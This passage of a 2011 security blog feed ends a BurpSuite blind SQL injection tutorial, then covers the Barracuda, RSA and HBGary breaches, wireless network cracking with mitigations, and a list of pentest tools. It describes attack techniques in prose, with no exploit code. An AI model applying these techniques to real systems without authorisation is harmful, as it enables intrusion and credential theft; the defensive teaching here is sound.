&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-6LbmsfT1sRU/TbHVBca9SRI/AAAAAAAAANI/jKM8oqakEdE/s1600/password.hex.cast.position.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="496" src="http://2.bp.blogspot.com/-6LbmsfT1sRU/TbHVBca9SRI/AAAAAAAAANI/jKM8oqakEdE/s640/password.hex.cast.position.png" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
One extra thing we need to do is to add payload processing rules in Intruder to hex-encode both of our payloads since they occur within the hex cast.&lt;br /&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-gR_YKR-hYKc/TbHVQb1qcQI/AAAAAAAAANM/4uyVaKny-6s/s1600/password.hex.cast.payload.process.rule.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="496" src="http://2.bp.blogspot.com/-gR_YKR-hYKc/TbHVQb1qcQI/AAAAAAAAANM/4uyVaKny-6s/s640/password.hex.cast.payload.process.rule.png" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
Now when we run this attack, we get the same results as before and we retrieve the password for "&lt;b&gt;Jake_Reynolds&lt;/b&gt;" with one exception. Our values are now ASCII-hex-encoded values of ASCII-decimal codes.&lt;br /&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-AwUdHRXV2Rg/TbHVmD0rFaI/AAAAAAAAANQ/xOHilR9es7Q/s1600/password.hex.cast.enum.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="530" src="http://1.bp.blogspot.com/-AwUdHRXV2Rg/TbHVmD0rFaI/AAAAAAAAANQ/xOHilR9es7Q/s640/password.hex.cast.enum.png" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
This time, our results are hexadecimal values for our decimal ASCII codes. So if you follow it:&lt;br /&gt;
&lt;ul&gt;&lt;li&gt;Payload 1 value 0x31 = 1 = Payload 2 value 0x38 0x30 = 80 = "&lt;b&gt;P&lt;/b&gt;"&lt;/li&gt;
&lt;li&gt;Payload 1 value 0x32 = 2 = Payload 2 value 0x36 0x34 = 64 = "&lt;b&gt;@&lt;/b&gt;"&lt;/li&gt;
&lt;li&gt;Payload 1 value 0x33 = 3 = Payload 2 value 0x35 0x33 = 53 = "&lt;b&gt;5&lt;/b&gt;"&lt;/li&gt;
&lt;/ul&gt;and so on until you get "&lt;b&gt;P@55w0rd&lt;/b&gt;," an admittedly bad password to use on my precious FoundStone bank account. Anyway, that's blind, delay-based, SQL injection data extraction the hard way using BurpSuite to make it easier.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8599741297530126079-3447107317368175773?l=blog.depthsecurity.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/DepthSecurity/~4/ZSjsn4L37ZM" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://blog.depthsecurity.com/feeds/3447107317368175773/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://blog.depthsecurity.com/2011/04/blind-sql-injection-burpsuite-like-boss.html#comment-form" title="1 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/8599741297530126079/posts/default/3447107317368175773?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/8599741297530126079/posts/default/3447107317368175773?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/DepthSecurity/~3/ZSjsn4L37ZM/blind-sql-injection-burpsuite-like-boss.html" title="Blind SQL Injection &amp; BurpSuite - Like a Boss" /><author><name>Jake Reynolds</name><uri>http://www.blogger.com/profile/08401450471965011197</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="22" src="http://1.bp.blogspot.com/-JiW-NQ8-uak/TdgKBqhQc_I/AAAAAAAAANc/gF_4tThM0Ts/s220/5293_1183768718451_1355227335_30492701_4791123_n.jpg" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://4.bp.blogspot.com/-IivdVByVeWg/TbGWlSnS-iI/AAAAAAAAALY/pAPIWGnIH0E/s72-c/login.request.png" height="72" width="72" /><thr:total>1</thr:total><feedburner:origLink>http://blog.depthsecurity.com/2011/04/blind-sql-injection-burpsuite-like-boss.html</feedburner:origLink></entry><entry gd:etag="W/&quot;D0UHRng4cCp7ImA9WhZWGUw.&quot;"><id>tag:blogger.com,1999:blog-8599741297530126079.post-3798953553421887501</id><published>2011-04-12T13:35:00.000-07:00</published><updated>2011-05-20T11:13:57.638-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-05-20T11:13:57.638-07:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="incidents" /><category scheme="http://www.blogger.com/atom/ns#" term="web application firewall" /><category scheme="http://www.blogger.com/atom/ns#" term="blind sql injection" /><title>More SQL Injection: Barracuda Networks Hacked</title><content type="html">Barracuda Networks is latest on the list of security vendors/service providers to be &lt;a href="http://www.theregister.co.uk/2011/04/11/barracuda_networks_attack/"&gt;compromised&lt;/a&gt;. The Malaysian group, "HMSec," used &lt;a href="http://hmsec.tumblr.com/"&gt;blind SQL injection to retrieve database contents including emails, CMS logins, and MD5-hashed passwords&lt;/a&gt;. A post&lt;span style="font-size: small;"&gt; &lt;/span&gt;on &lt;a href="http://www.barracudalabs.com/wordpress/index.php/2011/04/11/learning-the-importance-of-waf-technology-the-hard-way/"&gt;barracudalabs.com&lt;/a&gt;  titled "&lt;span style="font-size: small;"&gt;Learning the Importance of WAF Technology – the Hard Way" &lt;/span&gt;explains that, "The Barracuda Web Application Firewall  in front of the Barracuda Networks Web site was unintentionally placed  in passive monitoring mode and was offline through a maintenance window  that started Friday night (April 8 ) after close of business Pacific  time." It goes on to state that no financial information was stored on this database and that users' password hashes were salted.&lt;br /&gt;
&lt;br /&gt;
I think the title of that barracudalabs.com post is a little bit off. I think it should read, "Learning the Importance of Secure Software Development &lt;span style="font-size: small;"&gt;–&lt;/span&gt; the Hard Way." This just goes to show that WAFs, while great for certain things, are merely a secondary security control. Secure application development best practices (like not string-concatenating user input with database queries) are a primary security control. A WAF can shield certain issues from exploitation before you have a chance to fix them at their source but you should not rely on the WAF to protect you from severe flaws like SQL injection. After all, what happens when the WAF becomes disabled or gets put into monitor-only mode?&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8599741297530126079-3798953553421887501?l=blog.depthsecurity.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/DepthSecurity/~4/xHvmyeoZqgw" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://blog.depthsecurity.com/feeds/3798953553421887501/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://blog.depthsecurity.com/2011/04/more-sql-injection-barracuda-networks.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/8599741297530126079/posts/default/3798953553421887501?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/8599741297530126079/posts/default/3798953553421887501?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/DepthSecurity/~3/xHvmyeoZqgw/more-sql-injection-barracuda-networks.html" title="More SQL Injection: Barracuda Networks Hacked" /><author><name>Jake Reynolds</name><uri>http://www.blogger.com/profile/08401450471965011197</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="22" src="http://1.bp.blogspot.com/-JiW-NQ8-uak/TdgKBqhQc_I/AAAAAAAAANc/gF_4tThM0Ts/s220/5293_1183768718451_1355227335_30492701_4791123_n.jpg" /></author><thr:total>0</thr:total><feedburner:origLink>http://blog.depthsecurity.com/2011/04/more-sql-injection-barracuda-networks.html</feedburner:origLink></entry><entry gd:etag="W/&quot;D0UCQ3Y_fip7ImA9WhZWGUw.&quot;"><id>tag:blogger.com,1999:blog-8599741297530126079.post-2656028951017056073</id><published>2011-03-18T08:05:00.000-07:00</published><updated>2011-05-20T11:14:22.846-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-05-20T11:14:22.846-07:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="incidents" /><category scheme="http://www.blogger.com/atom/ns#" term="advanced persistent threats" /><title>RSA Breached by Advanced Persistent Threat</title><content type="html">RSA has announced that they &lt;a href="http://www.sec.gov/Archives/edgar/data/790070/000119312511070159/dex992.htm"&gt;have been compromised&lt;/a&gt; by an "extremely sophisticated cyber attack" of which details are not clear. All that is known is that RSA's two-factor authentication seems to be affected. The degree to which this breach impacts their two-factor authentication solutions is not known and RSA has filed an &lt;a href="http://www.sec.gov/Archives/edgar/data/790070/000119312511070159/0001193125-11-070159-index.htm"&gt;8-K with the SEC&lt;/a&gt; so don't expect too many details while the investigation is ongoing.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8599741297530126079-2656028951017056073?l=blog.depthsecurity.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/DepthSecurity/~4/Bt7hYIiqQss" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://blog.depthsecurity.com/feeds/2656028951017056073/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://blog.depthsecurity.com/2011/03/rsa-breached-by-advanced-persistent.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/8599741297530126079/posts/default/2656028951017056073?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/8599741297530126079/posts/default/2656028951017056073?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/DepthSecurity/~3/Bt7hYIiqQss/rsa-breached-by-advanced-persistent.html" title="RSA Breached by Advanced Persistent Threat" /><author><name>Jake Reynolds</name><uri>http://www.blogger.com/profile/08401450471965011197</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="22" src="http://1.bp.blogspot.com/-JiW-NQ8-uak/TdgKBqhQc_I/AAAAAAAAANc/gF_4tThM0Ts/s220/5293_1183768718451_1355227335_30492701_4791123_n.jpg" /></author><thr:total>0</thr:total><feedburner:origLink>http://blog.depthsecurity.com/2011/03/rsa-breached-by-advanced-persistent.html</feedburner:origLink></entry><entry gd:etag="W/&quot;D0QERnw_fip7ImA9WhZWGUw.&quot;"><id>tag:blogger.com,1999:blog-8599741297530126079.post-646283558223313419</id><published>2011-02-22T13:41:00.000-08:00</published><updated>2011-05-20T11:15:07.246-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-05-20T11:15:07.246-07:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="incidents" /><category scheme="http://www.blogger.com/atom/ns#" term="sql injection" /><category scheme="http://www.blogger.com/atom/ns#" term="password security" /><category scheme="http://www.blogger.com/atom/ns#" term="security assessment" /><category scheme="http://www.blogger.com/atom/ns#" term="web application security" /><title>HBGary Incident - Anatomy of the Attack</title><content type="html">ArsTechnica has a great &lt;a href="http://arstechnica.com/tech-policy/news/2011/02/anonymous-speaks-the-inside-story-of-the-hbgary-hack.ars/3"&gt;article &lt;/a&gt;that outlines the recent hack of HBGary by WikiLeaks activists. While a great read, it plays out this way:&lt;br /&gt;
&lt;ol&gt;&lt;li&gt;CEO Aaron Barr decided to unmask who he thought was behind the leadership of attacks against MasterCard, Visa, and other perceived enemies of WikiLeaks.&lt;/li&gt;
&lt;li&gt;Before unmasking this individual, Barr spilled the beans and communicated his intended actions to this person.&lt;/li&gt;
&lt;li&gt;A custom written CMS application (&lt;a href="http://www.hbgaryfederal.com/"&gt;http://www.hbgaryfederal.com&lt;/a&gt;) suffered from SQL injection, SQL injection in a URL parameter no less. This site is down now but the same exact, vulnerable, parameters are visible in Google queries (&lt;a href="https://encrypted.google.com/search?q=inurl:http://www.hbgaryfederal.com/pages.php%3F&amp;amp;ie=utf-8&amp;amp;oe=utf-8&amp;amp;aq=t&amp;amp;rls=org.mozilla:en-US:official&amp;amp;client=firefox-a"&gt;https://encrypted.google.com/search?q=inurl:http://www.hbgaryfederal.com/pages.php%3F&amp;amp;ie=utf-8&amp;amp;oe=utf-8&amp;amp;aq=t&amp;amp;rls=org.mozilla:en-US:official&amp;amp;client=firefox-a&lt;/a&gt;)&lt;/li&gt;
&lt;li&gt;This was exploited and the usernames/passwords were dumped from the users table.&lt;/li&gt;
&lt;li&gt; The passwords were hashed with MD5 but not salted so simple rainbow tables cracked some of the passwords.&lt;/li&gt;
&lt;li&gt;One non C-level accounts cracked had SSH non-root access to support.hbgary.com.&lt;/li&gt;
&lt;ol&gt;&lt;li&gt;This was elevated to root access using a known &lt;a href="http://seclists.org/fulldisclosure/2010/Oct/257"&gt;local privilege-escalation vulnerability&lt;/a&gt; for which written exploits were already available. Root was gained on support.hbgary.com.&lt;/li&gt;
&lt;li&gt;Gigabytes of support and research-related information was removed promptly.&lt;/li&gt;
&lt;/ol&gt;&lt;li&gt;As is typical, two of the passwords cracked were the CEO's and COO's. Executives often have a rather demanding way of being exempted from password complexity policies =). To be specific, these passwords were six lower-case letters and two numbers. &lt;/li&gt;
&lt;ol&gt;&lt;li&gt;Again, as is typical, these passwords were used all over the place including in Google, Twitter, and LinkedIn. Now the attackers had access to the CMS plus other applications like email.&lt;/li&gt;
&lt;li&gt;The CEO's credentials became of use when it was noticed he was the administrator for the company's Google Apps Mail services and that access to other employees mail accounts could easily be gained by resetting their passwords. This was done to Greg Hoglund's mail account.&lt;/li&gt;
&lt;li&gt;Greg Hoglund's account disclosed two potential root account passwords to a rootkit.com server as well as the fact that a Nokia employee had SSH access to that server. Since SSH as root wasn't allowed to the server, as it shouldn't be, the attackers still needed a non-root user to SSH with and then elevate to root. That's where some SMTP-based social engineering comes in.&lt;/li&gt;
&lt;li&gt;The &lt;a href="http://pastebin.com/tSiQevxe"&gt;correspondence&lt;/a&gt; between the attacker impersonating "Greg Hoglund" and the Nokia employee with SSH pretty much tells the rest of the story.&lt;/li&gt;
&lt;/ol&gt;&lt;/ol&gt;So I guess the morals of the story are..... the same morals you'd learn from a lot of security incidents.... the same thing the security community, HBGary included, has been touting:&lt;br /&gt;
&lt;ol&gt;&lt;li&gt; Assess your web applications, especially those exposed publicly. SQL injection is a serious flaw and there is no excuse in 2011 to have a single instance of it exposed to the internet.&lt;/li&gt;
&lt;li&gt;Hash your passwords column but salt the values as well.&lt;/li&gt;
&lt;li&gt;Patch your systems, especially those that are public. Even local privilege escalation vulnerabilities that don't seem like a threat, can be a threat. &lt;/li&gt;
&lt;li&gt;Enforce the use of strong password complexity and change requirements, even, well, especially for V-I-Ps.&lt;/li&gt;
&lt;li&gt;Don't reuse your passwords across organizations, applications, etc. Just don't reuse them. Don't iterate through your 5 passwords, add a number by 9 to the end, or use some ROT13 scheme that you think is going to protect one password from an attacker who owns another.&lt;/li&gt;
&lt;li&gt;Ironically, hosting mail in the "cloud" with Google, didn't play a part in this incident. It could have been any mail system. Credentials are credentials. Reuse is Reuse. I guess it at least, by using a publicly accessible interface, allowed the attackers to skip having to visit an Exchange Server and open the MMC up.&lt;/li&gt;
&lt;/ol&gt;As always, I'm not bashing on anyone. The folks at rootkit.com are no slouches, no doubt. Everyone has a vulnerability in their closet but there are lessons to be learned from candor where there is any these days. &lt;br /&gt;
&lt;ol&gt;&lt;/ol&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8599741297530126079-646283558223313419?l=blog.depthsecurity.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/DepthSecurity/~4/wM_sdiVg9a8" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://blog.depthsecurity.com/feeds/646283558223313419/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://blog.depthsecurity.com/2011/02/hbgary-incident-summary.html#comment-form" title="3 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/8599741297530126079/posts/default/646283558223313419?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/8599741297530126079/posts/default/646283558223313419?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/DepthSecurity/~3/wM_sdiVg9a8/hbgary-incident-summary.html" title="HBGary Incident - Anatomy of the Attack" /><author><name>Jake Reynolds</name><uri>http://www.blogger.com/profile/08401450471965011197</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="22" src="http://1.bp.blogspot.com/-JiW-NQ8-uak/TdgKBqhQc_I/AAAAAAAAANc/gF_4tThM0Ts/s220/5293_1183768718451_1355227335_30492701_4791123_n.jpg" /></author><thr:total>3</thr:total><feedburner:origLink>http://blog.depthsecurity.com/2011/02/hbgary-incident-summary.html</feedburner:origLink></entry><entry gd:etag="W/&quot;D0QNRXo-eip7ImA9WhZWGUw.&quot;"><id>tag:blogger.com,1999:blog-8599741297530126079.post-7103469506314406579</id><published>2011-01-21T11:40:00.000-08:00</published><updated>2011-05-20T11:16:34.452-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-05-20T11:16:34.452-07:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="video" /><category scheme="http://www.blogger.com/atom/ns#" term="wireless security" /><category scheme="http://www.blogger.com/atom/ns#" term="802.1x" /><category scheme="http://www.blogger.com/atom/ns#" term="wpa" /><category scheme="http://www.blogger.com/atom/ns#" term="eap" /><category scheme="http://www.blogger.com/atom/ns#" term="wep" /><category scheme="http://www.blogger.com/atom/ns#" term="peap" /><title>Video: Hacking WEP-128, WPA2-PSK, and 802.1x/PEAP in Under 5 Minutes</title><content type="html">Although this doesn't prove anything that hasn't already been proven, seeing often cements belief much more effectively than reading. In this video, I compromise access to three separate wireless networks using three separate authentication and encryption schemes.&lt;br /&gt;
&lt;br /&gt;
&lt;iframe allowfullscreen="" class="youtube-player" frameborder="0" height="390" src="http://www.youtube.com/embed/WT7Ixx_tTgw" title="YouTube video player" type="text/html" width="480"&gt;&lt;/iframe&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Test Networks - The Victims:&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
ClientCorporate: 802.1x/PEAP&lt;br /&gt;
ClientVendor: WPA2-PSK/AES&lt;br /&gt;
ClientGuest: WEP-128 PSK&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Full Disclosure - This video is different than a real-world attack in the following ways:&lt;/b&gt;&lt;br /&gt;
&lt;ul&gt;&lt;li&gt; For the 802.1x compromise, I used supplicants that are either not configured to validate the RADIUS certificate or bypassed the warning screen that discloses that the RADIUS server is serving an untrusted certificate.&lt;/li&gt;
&lt;li&gt;Also for the 802.1x compromise I authenticated with test victim users using passwords pulled from my password list.&lt;/li&gt;
&lt;li&gt;For the WPA compromise, I used pre-computed a hash table using CoWPAtty's "genpmk" since the SSID of a WPA network is factored into the handshake. A huge torrent exists with pre-computed hashes of the top 1000 SSID names using a very large dictionary. I didn't check, but I doubted "ClientVendor" would be included so I made my own.&lt;/li&gt;
&lt;li&gt;Also for the WPA compromise, I used a PSK that was pulled from my password list.&lt;/li&gt;
&lt;li&gt;I wasn't smooth enough to pull this off in one take so it's chopped up. The attacks, however, are not sped up. &lt;/li&gt;
&lt;/ul&gt;&lt;b&gt;Perspectives -&lt;/b&gt; &lt;b&gt;The AP used in this video was either an attacking or victim AP depending on the attack utilized.&lt;/b&gt;&lt;br /&gt;
&lt;ul&gt;&lt;li&gt;The DD-WRT'd Linksys wireless router I used can be considered a victim AP  for the WEP and WPA-PSK attacks.&lt;/li&gt;
&lt;li&gt;However, my AP should be considered an attacker AP for the 802.1x attack since I am actively trying to use it along with a fake RADIUS server to attract victims of the legitimate 802.1x wireless network that I am attacking. &lt;/li&gt;
&lt;/ul&gt;&lt;b&gt;Mitigating Wireless Risk - So what do I do about this?&lt;/b&gt;&lt;br /&gt;
&lt;ul&gt;&lt;li&gt;WEP: Don't use WEP.&lt;/li&gt;
&lt;li&gt;WPA-PSK: Use a complex PSK like "R$g2Gn#~qzZ4@" (rather than "MyBank123", "HomeWiFi! or "CoolDude1993"). If your PSK is in my dictionary, then I can crack your PSK.&lt;/li&gt;
&lt;li&gt;802.1x: &lt;/li&gt;
&lt;ul&gt;&lt;li&gt;Ensure a trusted RADIUS certificate is deployed, but not too trusted. An internal CA works fine as long as its root cert is in your clients cert stores. &lt;/li&gt;
&lt;li&gt;Ensure that clients are configured to validate the RADIUS server cert as specifically as possible. &lt;/li&gt;
&lt;li&gt;Only trust the CA that generated the cert. &lt;/li&gt;
&lt;li&gt;Don't rely on users to get it right, use GPOs or more advanced tools that give you central administration like Juniper Odyssey Access Client. &lt;/li&gt;
&lt;li&gt;Helpdesk and other folks commonly called on to fix wireless problems will likely resort to unchecking "Validate Server Certificate" so watch them and train them.&lt;/li&gt;
&lt;li&gt;Ensure that your password complexity policies are sufficient on whatever credential stores the RADIUS talks to. Again, if a users' password is in my dictionary, and I obtain an MSCHAPV2 challenge/response pair from that user, I've got their credentials and access to whatever they have access to.&lt;/li&gt;
&lt;/ul&gt;&lt;/ul&gt;&lt;b&gt;Tools Used / Props -&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
The fine tools listed below were absolutely required to make it this easy to test and penetration wireless networks. Like a lot of technology, they are very powerful and can do a lot of positive and negative things in the right (wrong) hands.&lt;br /&gt;
&lt;ul&gt;&lt;li&gt;&lt;a href="http://www.willhackforsushi.com/FreeRADIUS_WPE.html"&gt;FreeRADIUS WPE &lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.aircrack-ng.org/"&gt;airodump-ng&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.aircrack-ng.org/"&gt;aireplay-ng&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.aircrack-ng.org/"&gt;aircrack-ng&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://wirelessdefence.org/Contents/coWPAttyMain.htm"&gt;coWPAtty&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://wirelessdefence.org/Contents/coWPAttyMain.htm"&gt;genpmk&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://wirelessdefence.org/Contents/AsleapMain.htm"&gt;asleap&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.backtrack-linux.org/downloads/"&gt;BackTrack  4 R2&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.dd-wrt.com/site/index"&gt;DD-WRT&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;br /&gt;
&lt;ul&gt;&lt;/ul&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8599741297530126079-7103469506314406579?l=blog.depthsecurity.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/DepthSecurity/~4/-D4kN0EJ0v0" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://blog.depthsecurity.com/feeds/7103469506314406579/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://blog.depthsecurity.com/2011/01/hacking-wep-128-wpa2-psk-and.html#comment-form" title="1 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/8599741297530126079/posts/default/7103469506314406579?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/8599741297530126079/posts/default/7103469506314406579?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/DepthSecurity/~3/-D4kN0EJ0v0/hacking-wep-128-wpa2-psk-and.html" title="Video: Hacking WEP-128, WPA2-PSK, and 802.1x/PEAP in Under 5 Minutes" /><author><name>Jake Reynolds</name><uri>http://www.blogger.com/profile/08401450471965011197</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="22" src="http://1.bp.blogspot.com/-JiW-NQ8-uak/TdgKBqhQc_I/AAAAAAAAANc/gF_4tThM0Ts/s220/5293_1183768718451_1355227335_30492701_4791123_n.jpg" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://img.youtube.com/vi/WT7Ixx_tTgw/default.jpg" height="72" width="72" /><thr:total>1</thr:total><feedburner:origLink>http://blog.depthsecurity.com/2011/01/hacking-wep-128-wpa2-psk-and.html</feedburner:origLink></entry><entry gd:etag="W/&quot;D0QBRX44eCp7ImA9WhZWGUw.&quot;"><id>tag:blogger.com,1999:blog-8599741297530126079.post-5149878053009656941</id><published>2011-01-15T08:14:00.000-08:00</published><updated>2011-05-20T11:15:54.030-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-05-20T11:15:54.030-07:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="security tools" /><title>10 Security Tools You May Not Know About</title><content type="html">&lt;span style="font-size: small;"&gt;I figured I'd give a brief synopsis of some tools that I use fairly consistently for various types of vulnerability and penetration assessments. These utilities are all over the place in purpose so there isn't a really consistent use-case theme. My only goal for this entry is to have at least one tool in this list that the reader hasn't heard of or at least hasn't used. &lt;/span&gt;&lt;br /&gt;
&lt;ul&gt;&lt;li&gt;&lt;a href="http://ha.ckers.org/fierce/"&gt;&lt;b&gt;Fierce:&lt;/b&gt;&lt;/a&gt; Fierce is one of the best DNS enumeration tools I've ever used. It's great for DNS servers that do not allow anonymous zone transfer as it includes dictionary-based hostname enumeration.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://grey-corner.blogspot.com/p/ssltest.html"&gt;&lt;b&gt;SSLTest:&lt;/b&gt;&lt;/a&gt;A Perl script that enumerates an HTTPS instances supported SSL versions and ciphers. &lt;/li&gt;
&lt;li&gt;&lt;a href="https://addons.mozilla.org/en-US/firefox/addon/web-developer/"&gt;&lt;b&gt;Web Developer:&lt;/b&gt;&lt;/a&gt; The best FireFox extension, hands down, for manual web application security assessments. Quick access to client-side information such as forms, cookies, images, links, JavaScript, CSS, etc.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://addons.mozilla.org/en-US/firefox/addon/user-agent-switcher/"&gt;&lt;b&gt;User-Agent Switcher:&lt;/b&gt;&lt;/a&gt; Quickly switch from the default Firefox user agent, to any string you like. It's good for testing certain mobile web interfaces when you're not using a mobile simulator. It's also good to trick sites that "think" that you need IE but work 98% with Firefox.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://addons.mozilla.org/en-US/firefox/addon/firebug/"&gt;&lt;b&gt;FireBug:&lt;/b&gt;&lt;/a&gt; FireBug is a great JavaScript debugger implemented as a Firefox extension.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://addons.mozilla.org/en-US/firefox/addon/pow-plain-old-webserver/"&gt;&lt;b&gt;POW:&lt;/b&gt;&lt;/a&gt; A small, simple, light-weight web server that supports SJS dynamic pages and even database connections if you need them. It's great for quick, web-based proof-of-concept exploits. I know, I know, "Do you really want a web server running in your browser?" Well, it's enabled/disabled with a single click and, no I don't recommend you build your enterprise client portal site based on it.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.owasp.org/index.php/Category:OWASP_DirBuster_Project"&gt;&lt;b&gt;DirBuster:&lt;/b&gt;&lt;/a&gt; DirBuster is a web spider and file/directory enumerator from the fine folks at OWASP. It's a Java utility that will run in Windows, OSX, Linux, whatever. It comes with some decent dictionaries and has a slick GUI interface.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.portswigger.net/burp/"&gt;&lt;b&gt;BurpSuite Pro:&lt;/b&gt;&lt;/a&gt; My favorite web application security assessment tool. BurpSuite Pro is not only cheap and extensible, it has the best web proxy I've used plus a suite of other great tools. The Scanner, when used properly, is on par with the best commercial web application scanners. The Intruder tool is an easy-to-use web fuzzing tool with very powerful features. Spider is a simple web spider. Repeater is a tool to manually edit and send HTTP requests and evaluate their responses. Sequencer is a quick way of grabbing session tokens and evaluating their entropy. Decoder has common encoding/decoding/hash functions that are essential. Comparer is a tool to do a byte or word diff on two different HTTP requests or responses. Just don't be using the Spider or Scanner tool with the default form field values that this tool comes with. You'll see what I mean if you download it.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.willhackforsushi.com/FreeRADIUS_WPE.html"&gt;&lt;b&gt;FreeRADIUS Wireless Pwnage Edition:&lt;/b&gt;&lt;/a&gt; This is a patch for FreeRADIUS that configures it for 802.1x wireless authentication and adds a log that spits out 802.1x usernames plus MSCHAPV2 challenge/response pairs which can be cracked with ASLEAP or JTR. This is a very underrated and powerful tool that, when combine with the appropriate tools and knowledge, is capable of compromising improperly configured wireless 802.1x networks.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.thoughtcrime.org/software/sslstrip/"&gt;&lt;b&gt;SSLStrip:&lt;/b&gt;&lt;/a&gt; SSLStrip works as a forward web proxy watching HTTP traffic and actively rewriting HTTPS:// links to HTTP://. This allows MiTM tools like EtterCap to compromise SSL HTTP traffic without forging a certificate and creating SSL certificate errors in victims' browsers.&lt;/li&gt;
